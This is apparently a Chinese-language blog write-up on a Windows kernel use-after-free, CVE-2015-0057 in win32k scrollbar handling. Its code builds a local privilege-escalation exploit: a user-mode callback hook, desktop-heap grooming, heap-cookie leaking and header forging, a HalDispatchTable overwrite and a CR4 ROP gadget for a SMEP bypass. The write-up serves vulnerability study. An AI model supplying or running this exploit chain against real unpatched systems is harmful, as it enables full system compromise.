windows kernel exploit:uaf - cve-2015-0057

Introduction

这次是内核中一个 uaf 漏洞的学习,刚好看到 wjllz 师傅的在看雪上的 windows 内核系列文章, 就也一起分析了 cve-2015-0057 这个洞(膜一发 wjllz 师傅 tql !!!),这篇写的水平肯定也没有 wjllz 师傅的好,也不太会讲故事, 权当自己学习过程的记录,希望也能够帮助到你,如有错误多谢指正。

首先这次的漏洞分析也是参考已有的分析资料来学习,已有的资料包括:

刚开始这样做不可避免,全靠自己从分析 patch 到 poc 再到 exploit 的话水平还达不到,不过这是下一阶段的目标, 我会努力往这方面靠。说完了让我们开始专注漏洞,主要涉及的知识点有:

  • 用户态回调函数的使用
  • 堆风水
  • win8.1 堆头修复
  • win8.1 smep 绕过
  • 提权 shellcode

The bug

漏洞出现在内核的 GUI 组件中,也就是 win32k.sys 模块,之前从来没有了解过 win32k 有关的用户态回调函数的利用, 不过这里有篇相关的 paper 可以参考, 帮助我们熟悉 win32k.sys。分析资料中直接给出了漏洞所在位置,也可以自己尝试从 patch 分析一波,我尝试对比了一下 patch 版本和原版本的 win32k.sys,有几十处函数有改动,没有任何思路遂放弃。从资料中找到漏洞代码,漏洞位置在 win32k!xxxEnableWndSBArrows,抛去如何定位漏洞的部分(因为不会 :( 233),让我们直接理解漏洞原理:

Unpatched

以上代码是未经修补的漏洞代码,在适当的情况下 win32k!xxxDrawScrollBar 可以触发一个用户态调用让 tagSBINFO 对象指针即 rbx 被释放掉,而之后以上代码又使用了释放后内存中的值。简单来说就是某种情况下这个函数会触发一个函数回调, 而我们可以控制这个函数回调,运行我们指定的代码。

Patched

在 patched 的版本中,使用 tagSBINFO 指针之前设置了一道检查,这样导致用户控制的回调函数在设置检查的情况下无法被执行, 用户的影响被消除了。

那么怎么控制这个回调函数?以及我们需要执行什么样的代码?这就需要完全理解了整个函数的作用以及其内部执行逻辑之后才能回答这个问题。 这部分在 Ncc group 的 writeup 和 udi 的 blog 中有详细的解释,一起来看一下。

漏洞所在位置是跟窗体滚动条相关的,而每个窗体都设置了水平和垂直的滚动条 - scrollbar,参考 ReactOS 找到结构体定义:

typedef struct tagSBDATA
{
    INT posMin;
    INT posMax;
    INT page;
    INT pos;
} SBDATA, *PSBDATA;

typedef struct tagSBINFO
{
    INT WSBflags;
    SBDATA Horz;
    SBDATA Vert;
} SBINFO, *PSBINFO;

每个 SBDATA 结构都定义了相关的 Scrollbar 的属性,WSBflags 按照设置了多少比特位来决定 scrollbar 的状态属性。 而漏洞所在的函数 win32k!xxxEnableWndSBArrows 则是通过这些结构体所描述的信息来设置相应的滚动条属性,参考 NtUserEnableScrollBar 函数,它的函数定义如下:

BOOL xxxEnableWndSBArrows(HWND hWnd, UINT wSBflags, UINT wArrows);

hWnd 是窗体句柄,wSBflags 决定 scrollbar 的属性,wArrows 描述滚动条箭头的属性。

函数总体逻辑可以分为三部分,第一部分是分配新的 scrollbar。函数开始时会检查窗体是否包含滚动条信息, 如果需要会重新分配一个 scrollbar 结构体。

相关的符号在 win7 版本中有保留,可以用 windbg 查看,从代码层面来看,函数读取 pSBInfo 值,也就是 tagSBINFO 结构, 并且判断是否位空指针,如果该值为空而 wArrows 参数不为空,那么就会给窗体分配一个 tagSBINFO 结构, scrollbar 属性相关的 bit 位设置为 0。否则就沿用已有的 tagSBINFO 结构中 scrollbar 属性的信息。 在看这部分逆向代码的时候对寄存器所保存的参数有点疑惑,查了下发现 win 平台下函数调用参数传递和之前接触的 linux 平台 elf 文件略有不同(如果有和我一样的困惑的同学可以查看相关链接)。

第二部分是设置滚动条的状态,相关参数值的类型的定义在 WinUser.h 中查看,以及 msdn 上的文档wSBflags 参数值类型:

#define SB_HORZ             0   设置禁用水平滚动条
#define SB_VERT             1   设置禁用垂直滚动条
#define SB_CTL              2   表示滚动条是滚动条控件 // 具体什么作用不清楚
#define SB_BOTH             3   设置同时禁用水平和垂直滚动条

参数 wArrows 则设置滚动条的箭头是否可用,被设置位表示不可用:

#define ESB_ENABLE_BOTH     0x0000
#define ESB_DISABLE_BOTH    0x0003

#define ESB_DISABLE_LEFT    0x0001
#define ESB_DISABLE_RIGHT   0x0002

#define ESB_DISABLE_UP      0x0001
#define ESB_DISABLE_DOWN    0x0002

#define ESB_DISABLE_LTUP    ESB_DISABLE_LEFT
#define ESB_DISABLE_RTDN    ESB_DISABLE_RIGHT

以下代码表示如果设置了 SB_HORZSB_BOTH 则判断 wArrow 是否为 ENBLAE 来决定启用或禁用水平滚动条。

其实漏洞就跟这部分设置有关,让滚动条可见按照一定的设置会触发 xxxDrawScrollBar 函数刷新滚动条, 然后可能会触发用户态回调函数。

不过在讨论回调函数之前,我们先把后面的看完。和设置水平滚动条的逻辑类似,但不同的是如果 wArrows 设置了禁用了, 并且前面触发了 uaf 的话,这里就可以对释放后的内存进行一次按位或运算,比如 wArrows 为 0x3,而 tagSBINFO.wSBflags 为 0x2,那么操作完后值就变为 0xe 了。

Stage 1

开发漏洞利用通常需要经历好几个阶段,首先要完成的是如何触发漏洞。

我们已经知道设置怎样的参数可以触发 xxxDrawScrollBar 函数,要在代码上实现得在 CreateWindow 函数中加上 WS_HSCROLLWS_VSCROLL,虽然默认窗体是可见的,不过加上 showWindow 以防万一, 然后按照设置的参数调用 EnableScrollBar

hwnd = CreateWindow(
    szAppName, 
    TEXT("Poc"),
    WS_OVERLAPPEDWINDOW | WS_HSCROLL | WS_VSCROLL,
    CW_USEDEFAULT,
    CW_USEDEFAULT,
    CW_USEDEFAULT,
    CW_USEDEFAULT,
    NULL, NULL, hInstance, NULL);

ShowWindow(hwnd, iCmdShow);
EnableScrollBar(hwnd, SB_BOTH, ESB_DISABLE_BOTH);
UpdateWindow(hwnd);

那么现在要解决的是怎样控制回调函数,有了回调函数我们可以在用户态把堆中的内存释放掉, 再返回内核态的时候情况就变得和原来不一样了,不过我们得找到这个回调函数在哪。 在 Udi 的文章中给出了一张静态分析得出的调用关系图,

执行 xxxDrawScrollBar 函数得过程中会调用 ClientLoadLibrary 函数,其中又触发了 KeUserModeCallback 函数,我们要想办法弄清楚 KeUserModeCallback 函数调用了什么,然后尝试劫持该调用。 从 ncc group 的资料中我们可以知道用户态回调函数的一些相关机制,通常每个进程都包含一张用户态回调函数指针的列表, PEB->KernelCallBackTable 就指向这张表。当内核想要调用一个用户态函数时就用一个函数索引表示函数在表中的位置, 由 KeUserModeCallback 函数合法的从内核态转换到用户态,该函数原型如下:

NTSTATUS KeUserModeCallback (
    IN ULONG ApiNumber,
    IN PVOID InputBuffer,
    IN ULONG InputLength,
    OUT PVOID *OutputBuffer,
    IN PULONG OutputLength
    );

需要注意的是 ApiNumber 参数为函数表索引号,接着由用户态函数 KiUserModeCallbackDispatch 查找索引在回调函数列表中对应的函数并执行,我们可以查看 PEB->KernelCallBackTable 把其中对应的地址处的代码修改掉。 选好断点位置,在 Drawscrollbar 之后对 nt!KeUserModeCallback 下断点,虽然很容易在其他地方断下, 但是多试几次,就能断在我们的调用链中。

nt!KeUserModeCallback 的断点在触发若干次后断在了我们的调用链中:

此时查看 rcx 寄存器的值,在函数列表中找到对应的地址:

kd> r rcx
rcx=0000000000000002

kd>  dt !_PEB @$peb
nt!_PEB
   ...
   +0x058 KernelCallbackTable : 0x00007fff`79070a80 Void
   ...

kd> dqs 0x00007fff`79070a80
00007fff`79070a80  00007fff`79053ef0 USER32!_fnCOPYDATA
00007fff`79070a88  00007fff`790aadb0 USER32!_fnCOPYGLOBALDATA
00007fff`79070a90  00007fff`79043b90 USER32!_fnDWORD
00007fff`79070a98  00007fff`790459b0 USER32!_fnNCDESTROY
00007fff`79070aa0  00007fff`79055640 USER32!_fnDWORDOPTINLPMSG
00007fff`79070aa8  00007fff`790ab2b0 USER32!_fnINOUTDRAG
00007fff`79070ab0  00007fff`79053970 USER32!_fnGETTEXTLENGTHS
00007fff`79070ab8  00007fff`7907f1c0 USER32!__fnINCNTOUTSTRING
...

这里比较坑的点是 nt!KeUserModeCallback 会被很多地方调用很多次,这样每次断下来查看一下栈回溯才知道是不是处于我们的函数链中, 最麻烦的是你无法确定该选用哪个回调函数去 hook,_fnDWORD 也会在 DrawScrollBar 中被触发回调,不过这是一个已经被完成的利用, 虽然不知道利用开发者是如何知道 __ClientLoadLibrary 函数是适合被 hook 的,可能调用次数比较少,这里纠结了许久, 最后就当学习了吧(tql 233)。

那么现在我们确定要 hook 的函数是 __ClientLoadLibrary,经过计算它的偏移是 0x238,用以下代码获取它的地址:

ULONG_PTR Get__ClientLoadLibrary()
{
	ULONG_PTR addr = NULL;
	addr = *(ULONG_PTR *)(__readgsqword(0x60) + 0x58) + 0x238; // gs:[60] 表示 peb 的地址,用 __readgsqword 读取 peb 地址
	return addr;
}

接着把获取到的地址上的值覆盖成我们自定义的函数 fakehook 函数的地址,用一个赋值就行了。

*(ULONG_PTR *)_ClientLoadLibrary_addr = (ULONG_PTR)Fake__ClientLoadLibrary;

有了 hook 的自定义函数之后我们就可以做些事情,想办法触发 uaf。要考虑到回调函数可能在系统其它地方被多次调用, 我们在执行自定义函数的时候设置 hookflag 变量 和 hookcount 变量,在执行到 EnableScrollBar 之前把 hookflag 设置为 1,表示可以开始 hook 回调函数,而 hookcount 表示自 hookflag 变量设置后第几次 hook 到回调函数,那么我们只要确认需要执行的是第几次 hook 到的回调函数,代码如下。

VOID Fake__ClientLoadLibrary(VOID* a)
{
	if (hookflag)
	{
		if (++hookcount == 2)
		{
			DestroyWindow(hwnd);
		}
	}
}

到现在为止我们终于可以构造出一个触发 BSOD 的 poc,在回调函数中调用 destorywindow 释放掉 tagSBINFO 结构,但是 window 对象并不会被立即释放,这涉及到引用计数机制,据资料说明 tagSBINFO 并没有引用计数机制,所以这里可以被释放掉,然后被释放掉的块在后续处理中有一次写操作, 这样被释放的堆块就会受到影响,导致内核崩溃。大致代码如下:

#include <windows.h>

const char g_szClassName[] = "poc";
HWND hwnd;
int hookflag = 0;
int hookcount = 0;

VOID * _ClientLoadLibrary;
ULONG_PTR _ClientLoadLibrary_addr;

VOID Fake__ClientLoadLibrary(VOID* a)
{
	if (hookflag)
	{
		if (++hookcount == 2)
		{
			DestroyWindow(hwnd);
		}
	}
}

... ...

BOOL Trigger(int cmd, HINSTANCE h)
{
	DWORD dwOldProtect = 0;

	// window which instantiates a scrollbar to be freed
	hwnd = CreateWindowExA(0, g_szClassName, 0, SBS_HORZ | WS_HSCROLL | WS_VSCROLL,
		10, 10, 100, 100, (HWND)NULL, (HMENU)NULL, h, (PVOID)NULL);

	if (hwnd == NULL)
		return FALSE;

	ShowWindow(hwnd, SW_SHOW);
	UpdateWindow(hwnd);

	hookflag = 1;
	EnableScrollBar(hwnd, SB_CTL | SB_BOTH, ESB_DISABLE_BOTH);

	return TRUE;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
	PSTR szCmdLine, int iCmdShow)
{
	_ClientLoadLibrary_addr = Get__ClientLoadLibrary();
	_ClientLoadLibrary = (void *)(ULONG_PTR *)_ClientLoadLibrary_addr;
	Hook__ClientLoadLibrary();

	InitWindows(hInstance);

	Trigger(iCmdShow, hInstance);
}

下一步我们要做的就更有趣了,用堆风水把释放的块替换成指定的对象,这样可以做更多的事,不过要完成堆风水, 我们需要对 desktop 的堆有一定的了解。

Heap Feng Shui

有关 desktop 的堆在前面 win32k 的 paper 中有相关介绍,desktop 堆是 win32k.sys 用来存储给定 desktop 相关联的一系列 GUI 对象,包含了窗体对象和其相关结构,比如 property list,window text 和 scrollbar。 每创建一个桌面就会有一个相应的堆为其服务,那么我们就可以分配一个新的桌面得到一个初始的堆,可以更稳定的进行调控。 但资料中又提到一个信息,低权限进程是无法创建新的桌面的。

抛开这个问题,我们先明确堆风水要达成的目的,就是要把释放后的 tagSBINFO 结构的堆块替换成其他的结构堆块, 利用结构体的特性修改一些关键的数据从而获得操作更多数据的能力,要完成替换就需要精准预测堆块的分配, 尽可能完全控制整个堆的布局。比较可行的办法是先把释放的堆块尽可能填满,之后新分配的堆块就会排列在一起, 然后在一系列连续的堆块中释放掉相应的块造成一个缺口,那么后面分配的块大概率会在缺口的位置,实现预测分配。

在桌面堆中分配的有三个重要的数据类型我们需要了解一下,主要就通过使用这些结构体来控制堆上的窗体相关的数据。 每个窗体对象包含一个 tagPROLIST 结构体,它的大小足够小,在64位系统下分配的大小为 0x18 字节, 可以用来填充一些比较小的缺口,该结构类型定义如下:

kd> dt win32k!tagPROPLIST -r
    +0x000 cEntries         : Uint4B
    +0x004 iFirstFree       : Uint4B
    +0x008 aprop            : [1] tagPROP
        +0x000 hData            : Ptr64 Void
        +0x008 atomKey          : Uint2B
        +0x00a fs               : Uint2B

然后是窗体文本属性,在 tagWND 结构体中的成员 strName 可以分配任意大小的 UNICODE 字符串,

kd>  dt win32k!tagWND -b strName
   +0x0d8 strName : _LARGE_UNICODE_STRING

还有就是 tagSBINFO 结构,正是用来引发 uaf 漏洞的那个对象,也可以控制部分字段的数据。 从相关资料中可以获取到展示这些数据类型关系的图解:

现在我们的目标是把释放后的 tagSBINFO 的块替换成 tagPROLIST 结构体块,因为修改 tagPROLIST 结构上的某个成员可以获得任意地址读写的能力。Property 列表可以用 SetProp() 函数创建,该函数会先通过 atomKey 匹配查找是否有相同的 property 存在,如果没有相同的存在,就会在列表中创建新的 property 条目, 初始的调用会创建一个 property 列表链接到 tagWND 结构中,其函数原型如下:

BOOL SetPropA(
  HWND   hWnd,
  LPCSTR lpString,
  HANDLE hData
);

思路是这样的,在初始的阶段先准备大量 tagWND 结构,并且每个 tagWND 都有相关联的 tagPROLIST, 这个阶段的内存布局如下:

然后我们分配 scrollbar 准备触发 uaf,现在的内存布局如下:

接着设置 scrollbar 的一些参数控制回调函数调用 DestoryWindow 释放掉 tagSBINFO,内存布局就变成了:

64位系统下的 tagSBINFO 结构体是 0x28 字节,而单个条目的 tagPROLIST 结构体是 0x18 字节, 再次调用 setProp 会增加一个 0x10 字节的 tagProp 条目,也刚好是 0x28 字节。 我们前面已经通过堆喷射把可能释放的空间都填充完了,接下来分配的 tagPROLIST 由于没有更合适的位置, 会被放到原来 tagSBINFO 的位置,具体是先释放一个窗体的属性列表,由于堆喷已经填满了空闲的内存, 这个 0x18 字节的块周围并没有相邻空闲状态的块,这样就不会发生空闲块之间的合并,从而产生更大的空闲块, 拥有足够的大小会影响到 tagPROLIST 的位置,这时我们增加 tagPROP 就会分配 0x28 字节大小的 tagPROLIST 且刚好落到原来 tagSBINFO 的位置,如图:

然后回调函数执行完后返回内核态触发 uaf 执行写操作,tagPROLIST 的 cEntries 字段会从 0x2 变为 0xe, 这样我们可以用 setProp 越界写后面相邻的块。但是这只是个堆溢出,离任意地址读写还有相当一部分距离, 怎样把这个越界写利用起来呢?我们先重新审视下 tagPROLIST 的定义:

kd> dt win32k!tagPROPLIST -r
+0x000 cEntries         : Uint4B ==> 表面一共有多少个tagPROP    ==> 用这个越界读写.
+0x004 iFirstFree       : Uint4B ==> 表明当前正在添加第几个tagPROP结构体
+0x008 aprop            : [1] tagPROP ==> 一个单项的tagProp
    +0x000 hData            : Ptr64 Void ==> 对应hData
    +0x008 atomKey          : Uint2B ==> 对应lpString
    +0x00a fs               : Uint2B ==> 无法控制, 和内核实现的算法无关

tagPROLIST 只有两个成员属性,cEntriesiFirstFree 分别表示 tagPROP 的数量和指向当前正在添加的 tagPROP 的位置。当插入新的 tagPROP 时会先对已有的 tagPROP 条目进行扫描直到到达 iFirstFree 指向的位置, 这里并没有检查 iFirstFree 是否超过了 cEntries,但如果扫描中发现了相应的 atomKey 则会实施检查确保 iFirstFree 不和 cEntries 相等,然后新的 tagPROP 才会添加到 iFirstFree 索引的位置,如果 iFirstFreecEntries 相等的话表明空间不够用了,就分配一个新的能容纳所插入条目的属性列表,同时原有的项被复制过来并插入新的项。

tagPROP 结构和 SetProp() 函数相关联,hData 成员对应 SetProp 的 HANDLE hData 参数, atomkey 对应 lpString 参数,且属于我们可控的范畴,根据文档的说明,我们可以用这个参数传递一个 字符串指针或者16位的 atom 值,当传递字符串指针时会自动转化为 atom 值,这样我们可以传递任何 atom 值来控制两个字节的数据。 不过还是有一些限制,当我们添加新的条目到列表中时,atomKey 不能重复,否则新的条目会把旧的给替换掉。 另外还有一点值得注意的是 tagPROP 只有 0xc 字节大小,不过系统分配的是 0x10 字节用来对齐。 这样一来我们每个添加的 tagPROP 情况是这样的:

* Offset 0x0: 8 字节任意可控的数据 (hData) 
* Offset 0x8: 2 字节大概可控的数据 (atomKey) 
* Offset 0xa: 2 字节不可控的数据 (fs) 
* Offset 0xc: 4 字节不能修改的数据 (padding)

这里在对相邻块进行覆写时会产生一个问题,如果只是覆盖相邻块开头的8字节就能产生效果就还行, 但若是要继续往深了走覆盖后面的字段才能产生效果的话就会不可避免的破坏一些原本的值,可能造成崩溃, 好在这有个不错的结构对象,就是 tagWND 结构体的 strName 成员,该成员的结构类型是 _LARGE_UNICODE_STRING

kd>  dt win32k!tagWND -b strName
   +0x0d8 strName : _LARGE_UNICODE_STRING

kd> dt !_LARGE_UNICODE_STRING
win32k!_LARGE_UNICODE_STRING
    +0x000 Length           : Uint4B
    +0x004 MaximumLength    : Pos 0, 31 Bits
    +0x004 bAnsi            : Pos 31, 1 Bit
    +0x008 Buffer           : Ptr64 Uint2B

如果我们能够覆盖到 Buffer 字段就可以通过窗体字符串指针任意读写 MaximumLength 大小字节的数据。 现在我们知道了如何用 tagPROPLIST 来修改数据,也知道哪些部分我们能控制,以及有哪些限制, 接下来我们要做的就是想办法用这部分修改数据的能力获得任意地址读写的操作原语。

Stage 2

按照我们的思路在初始化阶段准备大量 tagWND 结构:

BOOL InitWindows(HINSTANCE hInstance, HWND* hwndArray, int count)
{
	...

	for (int i = 0; i < count; i++)
	{
		hwndArray[i] = CreateWindowExA(
			0,
			g_szClassName,
			0,
			WS_OVERLAPPEDWINDOW,
			CW_USEDEFAULT,
			CW_USEDEFAULT,
			CW_USEDEFAULT,
			CW_USEDEFAULT,
			(HWND)NULL,
			(HMENU)NULL,
			NULL,
			(PVOID)NULL
		);

		if (hwndArray[i] == NULL)
			return FALSE;

		SetPropA(hwndArray[i], (LPCSTR)(1), (HANDLE)0xCCCCCCCCCCCCCCCC);
	}
}

InitWindows(hInstance, inithwnd, MAX_OBJECTS);	// 这一部分作为内存填充

InitWindows(hInstance, spraywnd, MAX_SPRAY_OBJECTS); // 这一部分为增加 tagPROP 条目作铺垫

// 准备一个缺口
for (int i = 0; i < count; i++)
{
	if ((i % 0x150) == 0)
		DestroyWindow(inithwnd[i]);
}

在回调函数中释放 tagSBINFO 然后分配 tagPROPLIST,这时是第二次调用 setPropA,所以分配的是 0x28 大小的块。

if (hookflag)
{
	if (++hookcount == 2)
	{
		hookflag = 0;
		DebugBreak();

		DestroyWindow(hwnd);
		DebugBreak();

		for (int i = 0; i < MAX_SPRAY_OBJECTS; i++)
			SetPropA(spraywnd[i], (LPCSTR)0x06, (HANDLE)0xCAFECAFECAFECAFE);

		DebugBreak();
	}
}

可以用 windbg 脚本查看 desktop heap 的分配情况:

ba e 1 nt!RtlAllocateHeap "r @$t2 = @r8; r @$t3 = @rcx; gu; .printf \"RtlAllocateHeap(%p, 0x%x):\", @$t3, @$t2; r @rax; gc";

ba e 1 nt!RtlFreeHeap ".printf \"RtlFreeHeap(%p, 0x%x, %p)\", @rcx, @edx, @r8; .echo ; gc";

本来按照越界写的思路去控制 strName.Buffer 似乎是可行的,但是实际调试过程中发现能控制得部分有限。 运行 poc 程序自动断在回调函数处,把 monitor 脚本设置好继续运行:

可以看到如预期的那样 tagSBINFO 结构块被释放后分配 0x28 字节大小的 tagPROPLIST 块占了上去, 继续运行触发 uaf,修改 cEntries 字段:

本来是 0x2 经过或运算之后变成了 0xe,这样可以越界写 (0xe-0x2)*0x10 范围的数据,我的想法是目标 strName.Buffer 的偏移是 0xd8 再加上 0x10 大小的 _HEAP_ENTRY 这样就够不到这个距离(可能不对), 还得继续深入挖掘更多信息。

仔细查看 tagWND 结构的信息,太长就不贴出来了,在 win7 的符号表中有,除了 _LARGE_UNICODE_STRING 结构之外还有个值得注意的 _THRDESKHEAD 结构,它的定义如下:

kd> dt !_THRDESKHEAD
win32k!_THRDESKHEAD
+0x000 h                : Ptr64 Void
+0x008 cLockObj         : Uint4B
+0x010 pti              : Ptr64 tagTHREADINFO
+0x018 rpdesk           : Ptr64 tagDESKTOP
+0x020 pSelf            : Ptr64 UChar

这个结构体内很多指针都不能被破坏,但是我们并不能完全的控制 0x10 字节的数据,这是个麻烦的问题, 不仅这个结构,就算可以越界到 strName 我们也只能完全控制前 0x8 个字节,Buffer 指针只能部分控制。 那么我们就不能直接这样越界写,得想其他路子。这里我们将注意力转移到另外一个结构体,内核的堆块有其本身的结构, 可以称为 heap 的元数据也可以叫堆头,在桌面堆中这个结构叫做 _HEAP_ENTRY,主要用来堆内存的管理, 标识堆块的大小与是否空闲的状态,它的定义如下:

kd> dt !_HEAP_ENTRY
ntdll!_HEAP_ENTRY
	+0x000 PreviousBlockPrivateData : Ptr64 Void
	+0x008 Size             : Uint2B	=> 当前堆块大小
	+0x00a Flags            : UChar		=> 表示是否空闲
	+0x00b SmallTagIndex    : UChar		=> 检测是否被覆盖
	+0x00c PreviousSize     : Uint2B	=> 前一个堆块大小
	+0x00e SegmentOffset    : UChar
	+0x00f UnusedBytes      : UChar

有关堆头结构的详细介绍可以查看这篇文章 Leviathan blog entry, 堆头是 0x10 字节大小,前 8 字节如果有对齐的需要就存放上一个堆块的数据,size 域和 prevsize 域存放的是本来数值除以 0x10, Flags 域用来表示当前堆块是空闲状态还是使用状态,SmallTagIndex 域则是用来做安全检查的,存放一个异或加密过的值 就像 stack cookie 那样检测是否有溢出。

虽然不能直接覆盖 strName.Buffer,但是我们可以拿 _HEAP_ENTRY 开刀,而且 SetPROP 刚好可以完全控制下一个堆块 _HEAP_ENTRY 关键的数据结构,修改它的大小让其包含 tagWND 结构,然后释放掉它再分配一个 tagPROP + tagWND 大小的堆块, 这样我们就可以控制堆块的内容来修改 tagWND。现在调整一下风水布局,和 Ncc Group 的略有不同,用 window text 结构可以任意分配内存大小, 这样更为方便,新的堆布局如下:

触发 uaf 后 tagSBINFO 位置处会被替换成 tagPROPLIST 结构,然后调用 setPROP 修改相邻 window text 的 _HEAP_ENTRY 将其 size 域覆盖成 sizeof(overlay1) + sizeof(tagWND) + sizeof(_HEAP_ENTRY),然后释放掉,分配一个 window text 来操作里面的数据。

现在我们能用任何想要的数据覆盖 strName.Buffer 的指针,虽然 tagWND 的其他数据需要修复,不过这可以从用户空间读取, 桌面堆会映射到用户空间,准备好 tagWND 的全部数据,把 Buffer 指针的值修改成目的地址,然后申请这部分内存。

堆内存的预期布局我们已经设计好,后面就是具体的实施了,一共需要三组 tagWND,先初始化用来占位的一组和用来设置 tagPROP 的一组:

for (int i = 0; i < MAX_OBJECTS; i++)
{
	InitWindow(hInstance, hwndlist1, i);
	SetPropA(hwndlist1[i], (LPCSTR)(1), (HANDLE)0xCCCCCCCCCCCCCCCC);
}

for (int i = 0; i < MAX_SPRAY_OBJECTS; i++)
{
	InitWindow(hInstance, spraywnd, i);
	SetPropA(spraywnd[i], (LPCSTR)(1), (HANDLE)0xCCCCCCCCCCCCCCCC);
}

这两组 tagWND 的位置可以不用管,然后我们用第一组 tagWND 也就是 hwndlist1 做两件事,一个是分配 0x30 字节大小的 tagPROP 为同样 0x30 字节大小堆块的 tagSBINFO 占位,

// property list
SetPropA(hwndlist1[i], (LPCSTR)(i + 0x1000), (HANDLE)0xBBBBBBBBBBBBBBBB);

另外就是设置 window text 作为合并内存的头尾,在两次 window text 分配的中间就需要插入 tagWND 结构,中间的插入交给第三组 tagWND。

// build first overlay
memset(o1str, '\x43', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
RtlInitLargeUnicodeString(&o1lstr, (WCHAR*)o1str, (UINT)-1, OVERLAY1_SIZE - _HEAP_BLOCK_SIZE);

memset(o2str, '\x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
RtlInitLargeUnicodeString(&o2lstr, (WCHAR*)o2str, (UINT)-1, OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);

SHORT unused_win_index = 0x20;
for (SHORT i = 0; i < MAX_OBJECTS - 0x20; i++)
{
	// property list
	SetPropA(hwndlist1[i], (LPCSTR)(i + 0x1000), (HANDLE)0xBBBBBBBBBBBBBBBB);

	// overlay 1
	if ((i % 0x150) == 0)
		NtUserDefSetText(hwndlist1[MAX_OBJECTS - (unused_win_index--)], &o1lstr);

	InitWindow(hInstance, hwndlist2, i);

	// overlay 2
	if ((i % 0x150) == 0)
		NtUserDefSetText(hwndlist1[MAX_OBJECTS - (unused_win_index--)], &o2lstr);
}

这样我们的堆内存布局就实施完成了。

现在还有一个很重要的问题没有解决,刚刚在堆布局的时候我没有说,就是 heap cookie 的问题,我们已经知道 _HEAP_ENTRY 结构每个字段的值表示什么,但是在内存中查看会发现和我们预期的不一样,是一个很奇怪的值,

其实是 windows 实现了一个 heap cookie,每次开机都会产生一个随机数 cookie,对本来的 _HEAP_ENTRY 进行异或加密,那么我们正确的覆盖它就还需要将设置好的值和 cookie 异或过再放上去才行。 利用代码中有现成的泄露 cookie 的方法:

BOOL GetDHeapCookie()
{
	MEMORY_BASIC_INFORMATION MemInfo = { 0 };
	BYTE *Addr = (BYTE *) 0x1000;
	ULONG_PTR dheap = (ULONG_PTR)pSharedInfo->aheList;

	while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo)))
	{
		if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT)
		{
			if ( *(UINT *)((BYTE *)MemInfo.BaseAddress + 0x10) == 0xffeeffee )
			{
				if (*(ULONG_PTR *)((BYTE *)MemInfo.BaseAddress + 0x28) == (ULONG_PTR)((BYTE *)MemInfo.BaseAddress + deltaDHeap))
				{
					xorKey.append( (CHAR*)((BYTE *)MemInfo.BaseAddress + 0x80), 16 );
					return TRUE;
				}
			}
		}
		Addr += MemInfo.RegionSize;
	}

	return FALSE;
}

我们直接拿来用就好了,原理也是从桌面堆映射到用户空间的内存里取出 cookie 的值,然后构造好 size、prevsize、 small tagIndex 之后整串字符和 cookie 值异或完就可以放上去了。

memset(o2str, '\x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
*(DWORD *)o2str = 0x00000000;
*(DWORD *)(o2str + 4) = 0x00000000;
*(DWORD *)(o2str + 8) = 0x00010000 + OVERLAY2_SIZE;
*(DWORD *)(o2str + 12) = 0x10000000 + ((OVERLAY1_SIZE + TAGWND_SIZE + _HEAP_BLOCK_SIZE) / 0x10);

string clearh, newh;
o2str[11] = o2str[8] ^ o2str[9] ^ o2str[10];
clearh.append(o2str, 16);
newh = XOR(clearh, xorKey);
memcpy(o2str, newh.c_str(), 16);
RtlInitLargeUnicodeString(&o2lstr, (WCHAR*)o2str, (UINT)-1, OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);

Code Execution

现在控制了 strName.Buffer 也就可以任意地址写了,后面的利用的套路都是通用的,可以用这个写操作原语覆盖 nt!HalDispatchTable 的第二项,然后在用户态调用 NtQueryInternalProfile() 函数,然后内核中会执行 nt!KeQueryIntervalProfile,该函数中有这样一个代码片段

调用了 HalDispatchTable 偏移 0x8 地址处的函数,我们把这个地址处的函数替换成任意地址的代码。 可以在用户态调用 NtQuerySystemInformation() 来获取模块信息,这些信息中就包含模块基址,然后通过基址计算出 HalDispatchTable 在内核中的地址。

rc = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, pModuleInfo, 0x100000, NULL);

得到代码执行是不是就万事大吉了呢?实际上我们还有一些缓解措施需要绕过,第一个要解决的就是 SMEP, 它阻止我们在用户空间以内核权限执行代码,这使得修改 nt!HalDispatchTable 的列表项,使其指向用户空间地址变得不可用了。 不过我们可以用 ROP 绕,先跳转到内核空间的的某个可控制的位置,在该位置上的代码能修改 cr4 寄存器的值以关闭 SMEP, 这样就能跳转到用户空间执行代码了。我们可以在内核空间找到这样一处代码:

kd> u fffff802`005f97cc
    nt!KiConfigureDynamicProcessor+0x40:
    fffff802`005f97cc 0f22e0          mov     cr4,rax
    fffff802`005f97cf 4883c428        add     rsp,28h
    fffff802`005f97d3 c3              ret

cr4 是决定 SMEP 的关键寄存器,将 cr4 第20位 bit 设置位 0,cr4 的值为 0x406f8,然后返回地址用 shellcode 地址传参压入栈中,完美的跳转执行了 shellcode。

ULONG_PTR newcr4 = 0x406f8;
NtQueryIntervalProfile(shellcodeaddress, (PULONG)&newcr4);

最终结果验证

完整的漏洞利用代码在 github 上。

Summary

整个分析过程耗时非常之久(卒,总是想要弄清楚漏洞的每个细节,从漏洞成因到触发漏洞边看资料边调都花了大量时间, 然后一直到 stage2 调整堆风水覆盖 strBuffer 的阶段,我从一边写记录一边调利用转向了完全专注于利用的开发, 其实我只做了堆风水布局的调整,其他部分像内核地址的泄露、shellcode 的执行都是照抄已有的 exp 代码(逃。 虽然我现在的进度很慢,我还是会尽最大努力继续学习 win kernel,向 wjllz 师傅还有其他很多都很厉害的师傅学习QvQ !

Reference